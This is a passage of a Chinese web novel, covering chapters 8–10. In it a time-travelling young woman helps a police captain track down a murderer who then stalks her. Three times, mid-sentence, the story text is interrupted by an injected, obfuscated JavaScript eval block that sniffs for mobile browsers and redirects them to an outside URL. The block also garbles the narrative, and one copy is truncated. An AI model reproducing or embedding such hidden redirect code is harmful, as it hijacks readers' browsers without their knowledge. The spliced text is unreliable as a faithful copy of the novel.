在王敏眼里,姜蕊是省厅来的专家,是帮助警队来破案的,是警队自己人,她立即将矛头对准老李:“这位同志,你为什么不让姜同志离开?” 见到公安后,老李又变回那个畏畏缩缩,声音小的像蚊子一样的男人:“她,她昨天的住宿费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406820|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没给。” 姜蕊:“……” 把这茬给忘了,虽然她昨晚一直在警局,根本没回来住,但也是占着人家的房间的,这住宿费应该付的。 姜蕊忍痛从口袋里掏出那仅剩的脚几块钱零钱,数出五块,回身放在前台的桌子上。 “五块,我放这儿了,现在可以走了吧。” 老李盯着她看了几秒,轻轻地点了点头,转身让开了门口。 姜蕊走到门口突然想起什么,对着王敏道:“公安同志,我要报案,刚才这个男人偷偷站在我房门口,不知道要干什么,住在我隔壁的两口子可以作证。” 老李一听姜蕊要报案,突然脸色涨红,紧张的不行,说话本来就不利索,这下更结巴了:“我,我没想干什么,是老,老板娘让我问你要住宿费……” “老板娘本人怎么不来跟我要?” 老李讷讷道:“她娘家老家突然有急事,连夜回去了,让我帮忙看着点。” 姜蕊:“……” 好像也说得过去。 她看着这个老实木讷的男人,佝偻着背,头发怪黑的,还油光锃亮,一副窝窝囊囊的样子,跟昨天第一次见到他时一样,想必他真的是想找她要住宿费吧。 “老李。”姜蕊鬼使神差地问了一句:“你媳妇儿翠芬回来了吗?” 老李先是抬头看了姜蕊一眼,又迅速低下头去,还是那蚊子声:“还,还没。昨天给她娘家大队挂了电话,队里人说她回娘家了,让我过几天再去接她。” “哦。”姜蕊笑着对王敏道:“王姐,不好意思,可能是场误会,耽误你们办案了。那个你们先忙正事儿。” 王敏也着急走访,既然姜蕊说没事儿,她就也没在意,拿出复印的画像给老李看:“同志,你看一下,认识这个人吗?” 老李盯着那画像看了良久,似乎看的十分认真,王敏与同事对视一眼,觉得有戏的时候,就见老李摇了摇头:“不认识,没见过。” 王敏不免失望,又问他有没有见过一个秃头、微胖的男人,老李还是摇头。 王敏和同事又进到旅馆里边,挨个房间进行了登记和询问,都没有结果。 有些失望又意料之中。 姜蕊从旅馆出来,一时有些迷茫,工作没找着,住的地方也没有了。 眼看着天要黑了,姜蕊看着对面脏兮兮乱糟糟的车站,认命的叹了口气,先凑活一晚吧。 她刚向前迈了一步,面前的马路上突然就停下来一辆眼熟的吉普。 “姜蕊。”陆闻渊从驾驶室下来,绕过车头,大踏步走了过来。 他明显看见的姜蕊身后的“大众旅馆”四个字:“你就住这个旅馆?” 姜蕊点点头,又摇摇头:“之前是,现在不是了。” 因为她连五块钱都没有了,住不起旅馆了。 突然她脑中灵光一闪,眼睛闪亮亮的看着陆闻渊:“陆队,我也算帮了警队一个大忙,是不是?” 陆闻渊头一次被一个姑娘这么看着,不动声色地退后了小半步,不自在的点点头:“啊,是,必须算。” “那你能不能让我在你们警队休息室住两天?” 陆闻渊没想到姜蕊说这个,有点傻眼:“啊?” “我从家里跑出来,身上没钱住不起旅馆了,你不让我住警队休息室,我就要睡大街了。你想啊,我一个小姑娘家家的,睡大街上多不安全的,那不是给人民公安增加工作量吗?” 姜蕊把自己尽量往惨了说,希望能唤起眼前这个刑警队长的一点点恻隐之心。她宁愿睡警队休息室那一米二的行军床,也不愿意睡大街或者脏兮兮车站。 “你放心,过两天我找到工作立马走,不会打扰你们办案的。” “不行。”陆闻渊拒绝的很干脆。 “……,啊,知道了。” 姜蕊说不失望那是不可能的,但是她也有心理准备,又不是人家警队的人,人家没理由让她睡休息室,万一泄露了机密案情,耽误抓捕怎么办? 果然,就听陆闻渊道:“我们有保密条例和相关制度,你不是警队成员,不能住在警队休息室,至于昨晚,只是对你的特殊照顾。” 姜蕊点点头表示理解,并对自己刚才在刑警队长面前的卖惨行为汗颜了一下。 她刚想开口给自己找个台阶下,就听陆闻渊接着道:“不过我私人倒是可以给你提供一处住处,如果你愿意相信我的话。” 本来面露失望的姜蕊,眼睛一下就就亮了:“真的吗?我当然相信人民公安了!” “行。”陆闻渊把车钥匙给了姜蕊,“你去车上等我,我去找王姐说点事儿,” 姜蕊身后,王敏刚从大众宾馆出来,就见自家队长迎面走了过来,而队长身后,省厅派下来的那个年轻的女专家上了警局的那辆吉普。 也是,怎么说人家也是省厅派下来的,不能总住这种小旅馆啊,不安全,怎么着也得住市局招待所。 8. 第 8 章 陆闻渊给姜蕊提供的住处在市局旁边新建的一处小区里, 在姜蕊看来,这里很有老式居民楼的风格。清一色的六层红砖楼,外墙被刷成了米黄色,每栋楼的楼下都有草坪和花坛,花坛里种的月季花开得正盛。 单元楼门口防盗用的铁制单元门被人用砖头挡住,大敞大开着,应该是住户嫌麻烦挡上的。 “一单元,一层,就是带个院子,晚上的时候记得检查门窗。” 陆闻渊用钥匙打开房门,就势将钥匙放在门口的矮柜上。 “你就睡主卧吧,次卧我改成书房了,另外一间屋里没有床,我准备用来放杂物的。” 姜蕊看了一圈,这房子三室一厅,装修虽然很简单,但家具齐全,拎包入住没问题,而且看得出来所有东西都是全新的。 “你这是新房子,给我住是不是不太好啊?” 姜蕊私心想的事,看陆队年龄也不小了吧?这怕不是人家给自己准备的婚房,让她这个外人先住进来,是不是有点说不过去。 “有什么不太好?我买房子也是用来住的。”陆闻渊倒不在意,但考虑到对方是女同志,可能有所顾虑,便道:“这样,如果你不放心,按市价给我房租得了。” 姜蕊哪是那么不识好歹的人,赶紧说:“我没有不放心,不过房租我是一定要给的,就是我现在没钱……” “也没说现在就让你给,等你什么时候有钱了再说。” 两人正说着,陆闻渊口袋里那个一万多的二哥大“嘀——嘀——嘀——”的响了起来。 陆闻渊向姜蕊摆了下手,迅速接起电话。 姜蕊第一次看到陆闻渊的手机,不禁挑了下眉。嚯!摩托摩拉黑色翻盖儿老年机,这玩意儿他只在电信博物馆里见过。 此时的姜蕊突然明白一个事实,陆闻渊可是她爷奶那辈的人物。 这一认识让姜蕊当场石化,实在太让人震惊了! 这个年代的手机私密性不是很好,陆闻渊接电话的时候虽然转过身,但离他半米距离的姜蕊还是从电话听筒里听见了自己的名字。 “啊?”神游天外的姜蕊下意识地看向陆闻渊,“陆队,你喊我?” “等我回去再说。”陆闻渊挂了电话,转身跟姜蕊解释道:“是法医室宋主任,他们根据死者的受损的头颅还原出死者的相貌,跟你画的画像一模一样,正跟我夸你呢。” 姜蕊汗颜,她只是做了一次素描,可她知道以现在的技术,能在这么短的时间内还原出死者的容貌,他们法医室的技术人员不知付出了多少努力,他们才是最该被夸奖的。 “其实宋主任他们才是最厉害——” “嘀——嘀——嘀——” 某个老年翻盖手机又响了,陆闻渊向姜蕊歉意的点点头,接起电话。 “陆队,有发现,我们找到死者……” 陆闻渊当即变了脸色:“先把人带回警局,我现在回去。” 他向姜蕊摆了摆手,也不管对方有没有看见,转身就向外走,出去后还没忘记带上门。 姜蕊站在空荡荡的三室一厅里,回忆着陆闻渊路过身边时电话里传来的声音——“……叫马翠芬。” 又是翠芬?大众旅馆老李那个跑回娘家的老婆也叫翠芬来着。 陆闻渊回到警局的时候,人已经到了,被安排在接待室,王敏和韩梅梅正在对老人进行问话。 “你确定画像上这个人就是你的闺女儿马翠芬?” 老人名叫马桂兰,是从隶市下属肃县的一个小山村里来的。 “一百多里地,老人走了一天一夜来找闺女,刚走到市郊就被咱们走访的民警碰上了。” “嗯。”陆闻渊转头看向来人,“老秦!你什么时候回来的?” 刑警队副队长秦正露出自己一口洁白的大板牙:“你在车站给人民群众车钥匙,让群众上车的时候。” “嗐!那是咱们这案子的知情人,给我们提供了不少线索。”陆闻渊突然反应过来,“你那时候就在车站?怎么不过来找我?再说不是还没到时间吗?怎么这么快就回来了?” 秦正先前作为隶市市局刑警队代表,去了隔壁省会C市刑警队交流学习。 “发生这么大的案子,张局说人手不够,提前把我叫回来了。”说完,秦正指了指陆闻渊的大眼泡子还有他下巴上那一圈胡渣:“又好几天没睡了吧?” 陆闻渊摆摆手,毫不在意:“哎没事儿,咱兄弟又不是没熬过夜。” 两人不在多言,转身专心致志地透过窗户盯着接待室里的问话。 也许马桂兰心中已经隐隐预感到了什么,她紧紧攥着那张素描画像不撒手,带着哭腔道:“公安同志,你就直接跟我说吧,翠芬她怎么了?” 她可能不愿往最坏的方向想,只道:“她是不是犯了什么错误让你们给抓起来了?抓起来好啊,你们管管她。这孩子从小就不服管,三十多了还不结婚,非要没名没分地跟着个无赖。” 韩梅梅刚来市局不到半年,沉不住气,红着眼睛开口:“阿姨,你得做好心——” “韩梅梅。”陆闻渊突然推门快步走了进来,“这也到饭点了,你去食堂帮老人家打点饭。” 韩梅梅被支出去了,陆闻渊自己则亲自倒了杯热水放在马桂兰面前。 留在会议室的王敏和陆闻渊一样,默契的没有将实情告诉马桂兰,怕她一时接受不了情绪崩溃。 陆闻渊又问了一遍同样的问题:“老人家,这画像上的人是你的闺女儿马翠芬吗?” 马桂兰点点头:“是,这就是俺们闺女翠芬。” “好,那你仔细跟我们说说您闺女翠芬和那个无赖的事情,越清楚越好,这样,我们才能帮助你闺女。” 马桂兰没有说话,只默默低着头流泪。公安没有正面回答她的问题,她就知道自己闺女凶多吉少了。 陆闻渊和王敏对视一眼,心里同样不好受。他们这些当公安的,见过最残忍的凶案现场,斗过最穷凶极恶的歹徒,却唯独扛不住被害人家属的一滴眼泪。 用老辈刑警的话说——凶案现场再吓人,那都是过去的事儿;歹徒再凶恶,也有将他绳之以法的那天。唯独被害人家属的痛,那是活生生摆在你面前的,每看一次,都堵得你心里发疼。 陆闻渊现在就是这种感觉。 “老人家……” 马桂兰突然拿出手绢很大声的擤了一下鼻子,红着眼睛道:“您不用说了,我明白了。你们既然拿着这画儿找我来,我估计俺们翠芬肯定已经不在了……” 说着说着,马桂兰嚎啕大哭起来。 陆闻渊不是没见过情绪崩溃的死者家属,可至今还是找不到面对的方法。他没有徒劳的安慰,只是加大了音量,告诉对面的老人一个事实:“老人家,马翠芬虽然走了,但是杀害他的凶手还在逍遥法外,我们需要你的配合,你告诉我们越多越详细的信息,我们才能越快抓到凶手,您也算替马翠芬报仇了不是?” 果然,马桂兰听到这个像领导的人这么一说,渐渐止住了哭声。 “当年我刚结婚半年不到,老头子就死了。我婆婆说是被我克死的,将我赶了出来,我父母那边兄弟们不同意我回去,我就出来自己单过了。后来我上山的时候,看到不知道哪个杀千刀的扔了个女娃在山上,就把她捡回了家,让她跟我姓,取名叫翠芬。” 陆闻渊不知道说些什么,二三十年前,那种情况屡见不鲜。 “我一把屎一把尿把她拉扯大,学她不好好上,该结婚也不结婚,就喜欢跟着那个无赖在一起,后来我们大吵了一架,翠芬就跟着那个无赖来到城里,只偶尔回去看我一回。” 说着说着,马桂兰像是想起什么,突然强调道:“翠芬虽然不回家,但是每个月都会寄钱回来给我花,她是个孝顺的好孩子。” 王敏的笔在笔记本上下笔如飞,接待室里,马桂兰说话的间隙,只听到到钢笔落在纸上的沙沙声。 “可是上个月翠芬却反常的没寄钱回来,我以为她是耽搁了,但是这个月到日子了,她还是没寄钱过来,我就猜她是不是在外边遇到难处了。她寄给我的钱我都没花,存了起来,就想着她着急用的时候再拿给她。” “所以,您就一个人走了一百多里地,来城里找她,就是为了给她送钱?” 马桂兰点点头:“对,前几天她生日,就是我捡到她的日子,我想着也有些日子没见她了,就打定主意过来看看她。” “那说说你说的那个无赖吧,他叫什么名字?一直和马翠芬在一起吗?” 说起那个无赖,马桂兰脸上露出了嫌恶的神色,恨恨地道:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嫌疑人住址在车站对面的大众宾馆正后方。老秦,你先带人过去布控,记住,嫌疑人虽然秃头,但常年带着假发,假发的刘海遮住眼睛,身材微胖,惯于伪装,见到疑似人员,立即实施抓捕。” “建华,你带三组去新华路车站居委会,找到居委会主任,让她配合我们抓人。” “四组跟我,五组待命。” 最后,陆闻渊郑重命令道:“犯罪分子穷凶极恶,手段极其残忍,每位出警的警务人员,都必须申请配枪,这是命令。” 深夜,车站经过一整天的嘈杂混乱,渐渐安静下来,有人在车站外的花坛边铺了个纸板便安心睡下,只等着乘明天最早的一班火车回家。 车站对面的大众旅馆也熄了灯,一个佝偻着背的男人关门上锁,转身离开了…… 车站居委会主任冯静半夜被几个刑警喊了起来,一向自认为又见过世面懂大道理的她一下子就明白,这次的案子应该不一般。 “冯主任是吗?”大众旅馆的后巷,陆闻渊对冯静道:“一会儿你去敲门,就说有个人自称马翠芬的母亲,名叫马桂兰,让他们出来确认一下,把人领走。” 一看这阵势,冯静的脸都下白了,哆哆嗦嗦地点头,强装镇定:“我知道,我在香港的电视剧里见过,我知道怎么做。” 陆闻渊:“……” 得,电视剧没白看。 冯静站在李志强家门口,深吸了一口气,开始“哐哐”拍门。 “老李!翠芬儿,有个老婆儿说是你妈,找到居委会了,你们出来看看是不是啊?” 冯静停了一会儿,屋里毫无动静。 陆闻渊示意她再来。 冯静又拍了几下们:“老李,你们在家吗?这了老婆儿说她叫马桂兰,是翠芬儿她妈,你们出来看看呀,是的话让人进去,总不能赖在我家吧!” 还是没人开门。 屋里一点声音都没有,难道李志强提前得到了消息,跑了? 不可能,绝对不可能。 突然,屋里“咣当”一声,不知什么东西掉在了地上。冯静吓得“啊”一声,陆闻渊将她拉到一边塞进王敏手里,被带了出去。 “破门。” 陆闻渊一声令下,就有两个公安举着铁锤对着门锁一顿砸,大门应声而开。 以陆闻渊为首的刑警们一股脑的冲了进去,顿时一股恶臭直冲脑门。 最后进门的刑警打开了电灯,在场的警员们都被眼前的景象震傻了——只见这间屋子的地上、墙上,到处都是喷溅的血迹。人一进来,一屋子苍蝇到处乱飞,要多渗人有多渗人。 很明显,这里就是第一案发现场。 9. 第 9 章 屋子不大,一进门就是客厅,里边的两侧是卧室,卧室中间是厕所,角落里还有个屋子,应该是厨房。几个刑警队员一进来,就将客厅挤得满满当当。 刑警队员训练有素,不用队长吩咐,第一时间就对各个房间进行了搜查,却没有见到李志强的半个影子。 陈建华在屋子里转了一圈,走到陆闻渊跟前:“陆队,你说这小子是不是收到风声跑了?” “不可能!我们是以最快的速度打报告的,来抓捕的一路也不可能走路风声,没在他家堵到他,只能说明李志强本来就不在家,他这个点儿出去……” “陆队,厕所发现有人!” 陆闻渊和陈建华听到声音,俱是一凛,飞快地走了过去。 厕所里的情况更糟糕,腐臭味儿夹杂着粪便的味道扑面而来,让在场的警员们根本不敢大口呼吸。厕所的地上、墙上都是粘黏的血迹和不明碎肉,就连挂在墙上的镜子都被血糊成了暗红色。 而脏兮兮的马桶旁,正蜷缩着着一个被五花大绑的女人。女人看见有人进来,吓得不敢抬头,“呜呜”着向马桶后边躲去。 所有人瞬间松了一口气,人还活着。 有女警第一时间上前帮女人松绑。 同一时间,陆闻渊拿出对讲机,对着那头的同事吩咐道:“发现新的受害者,叫救护车。” 女人身体很虚弱,但是情绪几近崩溃,只“啊啊”地捂着脑袋,嘴里念叨着:“不要杀我,不要杀我。” 陆闻渊往后推了退,示意王敏上前,面对情绪崩溃的女受害人,同样身为女同志的女警的安抚比他这个大男人来的有效果。 王敏走近一些,轻轻将将手放在女人的脚肩膀生,温声安抚:“同志,我们是人民公安,你已经得救了。” 女人听到“公安”两个字,瞬间安静下来,她如惊弓之鸟异样,小心地从胳膊的缝隙里往外看,直到看到身边的人都穿着绿色的警服,头上戴的帽子上还镶着警徽! 女人这才相信,自己终于得救了,登时抱着王敏大哭起来。 “陆队,厨房里有发现。” 前来汇报的刑警一边干呕一边说,到最后实在忍不住了,突然转身跑到门外,狂吐了起来。 对此,陆闻渊送给他三个字:“没出息。” 他倒要看看,厨房里怎么就比厕所里还恶心了。 可是他一进厨房门就被打脸了,那种沉闷腐朽的气味直接通过鼻子下沉到喉咙里,陆闻渊喉咙一紧,赶紧屏住呼吸。 可以看出这家的主人经常在家做饭,却不怎么爱干净,整个厨房几乎都罩在厚厚的油垢里,应该从来都没人收拾过。墙上挂着一些日用品,上面沾着许多不明喷溅式液体,都已经发黑了,陆闻渊推测可能是一些血迹。地上更是根本没有下脚的地方,走一步,鞋底都要被粘掉。 随处可见的绿头苍蝇,一群一群的围在一起,灶台上的煮锅周围更甚。 陆闻渊推测,这煮锅八成就是烹煮死者头颅的那口锅。 煮锅的盖子被人动过,掀开了一条缝,里边好像还有什么东西。 陆闻渊赶了赶苍蝇,垫着手套轻轻拿开锅盖:“!!!” 他重新盖好锅盖,在原地平复了一下,才走出厨房,在客厅与接到通知就赶过来的宋辞和刑技科的同事们碰了个正着。 一进到屋里,宋辞那常年面无表情的脸上,竟也被惊得裂开了一道缝隙,面色肉眼可见地沉了下来。 陆闻渊张口就说:“我给你从分局调几个法医和技术员过来吧,这屋子里没有一处好地方,尤其是厨房和厕所,就你们几个,恐怕不够用。” 宋辞微微点了下头,就开始部署取证工作了。 陆闻渊也不在意,出门打了个电话的功夫,救护车也到了,将解救的被害人抬上了担架。 居委会的冯静就在胡同口等着,见到担架上的人,喊了一声:“芳芳!” 跟着出来的王敏问:“你认识她?也是你们街道的?” 冯静赶紧跑过来:“对,她就是大众旅馆的老板娘,哎呦这是怎么了?真是作孽……” 芳芳被救护车拉走了,王敏安排了同组的女警跟着一块先去了医院,她觉得自己好像忽略了什么事情。 王敏突然转身,回到李志强家,果然看到墙上挂着一个大相框,里边装着很多照片。 相框上被飞溅的血迹涂满了,不仔细看,根本看不出里边照片的样子。 为了不破坏现场的证据,王敏请技术员帮忙,将相框里的照片取了出来。见到照片上的男人那一刻,王敏瞬间浑身冰凉。真的是他! 陆闻渊正在吩咐各个小组:“……走访周边的几户人家,看看今天有没有人见过李志强,知不知道李志强可能去的地方。同时,去居委会查一下李志强还有没有直系亲属,还有哪些亲戚,户籍地、家庭住址、年龄、职业、单位,统统给我查出来,一家一家去找,我就不信找不出来一个李志强。” 警队的队员都知道,陆队这是急眼了。 出动整个刑警队,抓一个李志强,竟然还能让人跑了。要是他们张局在这,早就开始骂大街了。 队员们一刻也没敢耽误,立马跑出去做事儿了。 陆闻渊刚给局长打完电话申请了通缉令,转身就看到王敏站在他身后不远的地方,脸色十分难看。 遇到这样的案子,谁的脸色都不会好看,陆闻渊也没在意,说话的语气也不太好:“王姐,你不去医院看着被害人等着录口供,站在这儿干什么?” 王敏直直看着顾文渊,开口道:“陆队,我今天见过嫌疑人。” 她将手中的照片递给陆闻渊:“这是在李志强家里墙上取下来的,照片上这个人应该就是李志强。白天我排查到这片区域,在大众旅馆门口见到了这个李志强,当时还对他进行过问话。” 王敏将之前在大众旅馆门口发生的事情一五一十讲给陆闻渊听,“我们刚才解救的被害人,就是大众旅馆的老板娘芳芳。现在想来,李志强监视姜专家,并非是要住宿费,而是想对她不利。幸好您把姜专家接到咱们市局招待所了,如果姜专家继续住在大众旅馆里,后果不堪设想……” 王敏正说着,陆闻渊已经拿出电话拨了出去:“喂,韩梅梅,你让四组的人立刻去警局旁边的和平小区三号楼一单元101看看,姜蕊今天住在那,李志强可能会去找她,喂?喂?” 话说到一半,二哥大突然快速“嘟嘟”了两声,然后归于寂静。 没电了。 “草!”陆队终于忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406822|200556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住骂街了。 “老秦!老秦!” 陆闻渊吆喝了两声,秦正从李志强家快步走了出来:“怎么了,陆队?” “李志强可能有新目标,我已经通知四组过去了,这里你和王姐盯着,我再带一组人过去看看,要今天真能逮住这老小子,咱们今年的集体二等功就稳了,还能休个假。” 和平小区。 陆闻渊走后,姜蕊简单收拾了一下,惊喜的发现厨房里不光米面齐全,竟然还有一台单门冰箱,冰箱里竟还备有一些青菜和鸡蛋! 陆闻渊这是准备好要入住了吧?倒被她先截胡了。 姜蕊不禁感叹,陆队这人可真是乐于助人、大公无私啊。 她拿出自己的本,将这房间里她用过的东西全部都记在上面,什么香皂、毛巾、青菜、鸡蛋的,大件的她能给租金,这种消耗品和吃食是一定要还回来的。 姜蕊用青菜煮了一碗面,吃完后外边的天已经黑透了。 她坐在沙发上,看着自己手中的三块钱,陷入了沉思。 找工作的话,势必要耽误她上学考警校的计划,但是不找工作的话,三块钱也不够她半工半读的,连摆摊创业都不够。 唉! 怎么别人穿越不是美女帅哥谈恋爱,就是手握空间挣大钱。到了她这里倒好,先是携带十八块七巨款逃离奇葩父母包办婚姻,又是卷入大腿碎尸煮人头的恶性案件。有哪一点跟穿越小说女主角搭得上边?她的空间呢?她的金手指呢? 哦,还是给了她一个金手指的,她做梦能梦到了案发现场。 姜蕊灵机一动,如果她梦到案发现场不是偶然的话,是不是可以在刑警队谋份差事,不仅能挣到钱,还能帮助警队破案,最重要的是还能帮助她考警校!一举三得。 就是不知道人家刑警队答不答应。 唉!姜蕊不知道第几次叹气的时候,突然眼前一黑,整个世界都暗了下来。 停电了? 姜蕊坐在原地没有动,等双眼适应周围的黑暗以后,才起身向窗户边走去。她记得刚才收拾东西的时候,看到窗户旁边的抽屉里好像有蜡烛来着,一整包没拆封的。 就在她摸黑打开抽屉,摸到那包蜡烛准备拆封的时候,余光瞥见窗外的院子里有什么东西一闪而过。 姜蕊这才发现,周围得了邻居家里都没有听见,就她住的这件屋子停电了。 不正常。 还有,刚才那一闪而过的感觉十分熟悉,好像在哪里见过。 黑夜,反光?姜蕊一下子记起来了,是她梦里见到的凶手的秃头! 姜蕊放下蜡烛,随手拿起柜子上的不知道是什么的摆件,悄声躲进窗帘里。 陆闻渊今天一进门就嘱咐她入夜要锁好门窗,听警察叔叔的话,果然没错。 姜蕊站在窗帘后面半天,也没听见外边有任何动静。 她悄悄掀开窗帘内侧的一角向外看去——我#%&*! 姜蕊僵在原地没动,却在心里将所有的脏话都骂了一个遍。 只见离他不足三十公分的玻璃窗上,赫然印着一张男人的脸。 秃头,微胖。 凭她1.5的视力看来,这人下半张脸还有点熟悉,不正是大众旅馆里见到的老李吗! 10. 第 10 章 深夜空旷无人的大街上,闪着红色警灯的吉普在大街上飞驰而过。 陆闻渊现在是有些后悔的,后悔自己买的是一楼带院子的房子;后悔白天看到单元防盗门被挡上的时候,没将砖头拿开;更会后将姜蕊一个人留在那间房子里。 犯罪分子穷凶极恶,万一姜蕊真的是李志强的下一个目标,一旦被他得手,后果不堪设想。 陆闻渊油门踩到底,车子挂着“呜——哇——呜——哇——”的警笛声一路疾驰,飞快地略过市局门口,向着和平小区飞驰而去。 和平小区。 姜蕊躲在窗帘后面,看着老李鬼鬼祟祟地探出脑袋往屋里窥探,只见他脑门锃亮,一双倒三角的眼睛里没有任何情绪。姜蕊记得有这样的眼睛,前世看的一架被灭门的电影里,凶手就是这样的眼神, 姜蕊在原地一动不动,她确信以老李的角度,肯定发现不了她现在的位置的。 只是老李为什么会盯上她?首先能确认的是,老李肯定不知道她每晚做梦都会梦到他杀人的案发现场,其次她去警局报案只有派出所的王所和王小二知道,他们不可能将这一消息透漏出来。 对了,报案那天早上,这个老李去旅馆找过老板娘问他媳妇儿翠芬的下落,如果死者就是那个翠芬的话,那他那天早上就是故意说谎的,而他去旅馆的真正目的不是去找老板娘,而是去踩点蹲她的! 冷汗瞬间爬满后背,这个老李早就锁定她为下一个目标了! 可是为什么呢? 对了!商场门口!她去找工作那天,在商场门口碰见了姜爱莲和陆渊重,两人下台阶的时候撞到一个人,那个人还还骂街来着。 【草!找死啊!晦气!】 就是因为这剧句话,她还在人群中找人来着,但是当时根本没看见什么人,她还以为是自己做噩梦后的幻觉。 现在想来那天根本不是幻觉!是凶手特地去商场门口抛尸的!是老李! 老李那天就见过她,或者说,老李认为那天自己看见了他。 她第二天去商场门口的时候,那股被人盯上的的怪异感觉,也是老李在暗中窥视她。 所以,老李以为自己知道他是凶手,所以想要灭口! 今天白天她从大众旅馆出来,上了陆闻渊开的警车,老李一定是跟着来到这的。 这个老李,警车都敢跟,而且这个小区离市局这么近,他也敢动手? 想到这里,姜蕊又是一凛。 这是个真正的杀人犯,两人力量的悬殊,不是她一个小姑娘能对付得了的。她只恨这个时代还没普及手机,要不然就可以打电话报警了。 老李推了推窗户,没推开,眼中闪过一丝狠戾,下一秒,就举起了自己手中的东西—— “嘭嘭嘭,嘭嘭嘭——” 门口猛地响起拍门声,又凶又急,吓得姜蕊猛地一抖,再向窗外看去,连个鬼影都没有了。 姜蕊不认为老李走了,他一定是藏起来了。所以,她继续躲在窗帘后面,没有动。 “嘭嘭嘭,嘭嘭嘭——” 敲门声还在继续,还夹杂着大着舌头的咒骂声:“姜蕊,你给我出来!你别,别,别以为躲在里面不出声,我就拿你没办法!” “……”姜蕊在心里骂了句脏话,这声音,她一听就知道是原主那个渣男前未婚夫陆渊重! 陆渊重怎么会知道她住这?这大半夜的,咣咣凿人家房门,怕不是喝多了吧? 陆渊重还在门外鬼哭狼嚎:“我兄弟都看见你跟一个男,男人进了这间屋子,他们都,都笑话老子戴了顶绿帽子!你给老子出来说清楚,这个男人是谁?除了老子谁还要你个霸占了人家身份的大骗子!” “你骗得老子好苦啊!老子看在你是独生女的份上才答应娶你的,娶了你就可以继承姜家的家业,就能跟我那个大哥平起平坐,再也没人看不起我了,你说你怎么能是骗子呢!还给老子戴绿帽子……” 陆渊重越说越生气,最后加了倍的狂砸房门—— “嘭嘭嘭,嘭嘭嘭—” “姜蕊,你快给老子出来说清楚,看老子不好好教训你——卧槽!” “警察!不许动!” “你们他妈干什——哎呦卧槽!揪我头发干嘛?薅死老子了!” 四组组长吴爱民一手将陆渊重按在地上,一手拿出对讲机对着那头讲道:“正门门口发现不明人士,有头发,不是秃头,你们后边注意,李志强可能跑到后边去了。” 陆渊重被人从背后偷袭,按在地上的时候,酒一下子就醒了:“草!你们他妈什么人?赶紧放开老子!” 就在这时,对讲那头“滋滋”两声,终于有了回应:“李志强已经被我们控制,老吴你那边什么情况?” 是陆闻渊。 四组长低头看了看蹲在地上的人,嚯!还是熟人。 他对着对讲机调侃道:“这不好说,还是你自己过来看看吧。” 陆闻渊到的时候,陆渊重在蹲在地上骂骂咧咧:“你们到底想干什么?我告诉你们老子姓陆,你们这样对我,我——” “你姓陆怎么了?姓陆就能半夜凿人家房门?就能辱骂人民公安了?” 突然出现的声音让陆渊重的叫骂声戛然而止。 他费劲力气抬起头,不敢置信的喊了一声:“……哥?” 站在自己面前这个人,可不就是他嫉妒得要死,做梦都想将他踩下去的大哥。 陆闻渊看着自己这个不成器的弟弟,从鼻子里哼出一声:“哼,还知道我是你哥?那你知不知道隔壁就是市公安局?你在这大呼小叫鬼哭狼嚎的,我在办公室都听见了!” 他拍了拍四组长,后者便放开了陆渊重。 四组长:“你来的挺快啊。” “不快点怎么保护人民群众的生命安全?” 陆闻渊瞪了一眼刚站起来的陆渊重,对四组长道:“拷上。” “哎好,啊?” 陆渊重更是一愣:“哥,是说什么?你让人拷你亲弟弟?” “扰乱公共秩序,非法入侵他人住宅未遂,拘留十五日,罚款二百。” 说完便不在理会他,直接进到里面去找墙上的电表箱,“啪啪”两下合上了电闸。 陆闻渊转身刚要敲门,就见四组长还没带陆渊重走:“看什么看,带走啊?” 四组长道:“可是我们得请人证去局里做笔录。” “知道知道。”陆闻渊随意挥了挥手,“你们先去,我一会儿亲自带人证回去。” “……” 窗外是穷凶极恶的杀人犯,门外是见利忘义退婚毁约的渣男,姜蕊觉得自己现在的处境堪称“绝境”两个字。她一时拿不定主意,是先打开窗子冲出去给杀人犯一下子,还是打开门一脚将渣男踹飞。 门口陆渊重的嚷嚷声突然消失,院子外又传来“咚”的一声,还隐隐有人声。 这老李难道还有同伙?姜蕊是真有些怕了,一个老李她拼尽全力,可能还能对付一下,但是老李有同伙的话,她是一点胜算也没有。 好在没让姜蕊等多久,屋里的灯突然一闪,全部亮了起来。 来电了。 紧接着,是门口响起敲门声:“姜蕊同志,是我,陆闻渊。” 姜蕊顿时松了一口气,看了一眼窗外,飞快跑到门口,打开门见到陆闻渊第一句话就是:“凶手是在大众旅馆老李,我刚才在窗户那里看见他,他来找我了……” “我知道。”陆闻渊安抚道:“我们的同志在院墙外将他逮个正着,现在已经押宋到市局审讯室了,一会儿会有技术科的同事来这里采证。你现在收拾一下,跟我回局里做个笔录。” “……” 姜蕊来到警局之后,见到了马桂兰,才得知死者真的是老李口中的翠芬。 也是在这时候,她才知道自己是老李的第三个目标。而老李的第二个目标是大众旅馆的老板娘,已经被警方解救出来了。 “姜专家,又见面了。” 给姜蕊做笔录的是三组长王敏和韩梅梅,韩梅梅冲他眨了下眼睛,两人心照不宣。 她根本不是什么专家啊。 